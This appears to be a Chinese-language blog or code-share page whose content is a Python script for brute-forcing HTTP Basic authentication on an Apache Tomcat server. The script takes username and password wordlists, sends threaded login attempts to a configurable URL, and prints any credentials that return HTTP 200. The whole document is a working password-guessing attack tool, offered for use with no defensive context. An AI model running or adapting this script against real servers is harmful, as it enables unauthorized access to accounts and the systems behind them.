Tomcat爆破脚本

Tomcat爆破脚本

import requests
import base64
import threading
a=[]
#*****************************************修改部分********************************************#
url = "http://127.0.0.1:8880/api_expire/data/v1/site_sum?area=9912"  # tomcat页面url，修改
x=10   #线程数量，建议不超过10
f = open("user.txt", "r").readlines()  # 本地用户名文件下，和本脚本文件在同一目录下
g = open("pass1.txt", "r").readlines()  # 本地密码文件，和本脚本文件在同一目录下
#*****************************************修改部分********************************************#


def tomcat(se,username,password):
    se.acquire()
    str1 = username + ':' + password
    str2 = base64.b64encode(str1.encode('utf-8'))
    a = str(str2, 'utf-8')  # 输出成字符串格式
    b = 'Basic ' + a
    # print(b)
    headers = {'Authorization': b,
               'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0'}
    res = requests.get(url, headers=headers)
    print(username, password)
    if res.status_code == 200:
        print("*********************************************")
        print("成功！！！")
        print('username:', username, 'password:', password)
        print("*********************************************")
        for l in range(x):
            se.acquire()
        return
    se.release()
def duo():
    semphore=threading.Semaphore(x)
    for i in f:
        username=i.strip()
        for j in g:
            password = j.strip()
            t=threading.Thread(target=tomcat,args=(semphore,username,password))
            t.start()
            a.append(t)
        for k in a:
            k.join()
if __name__=='__main__':
    duo()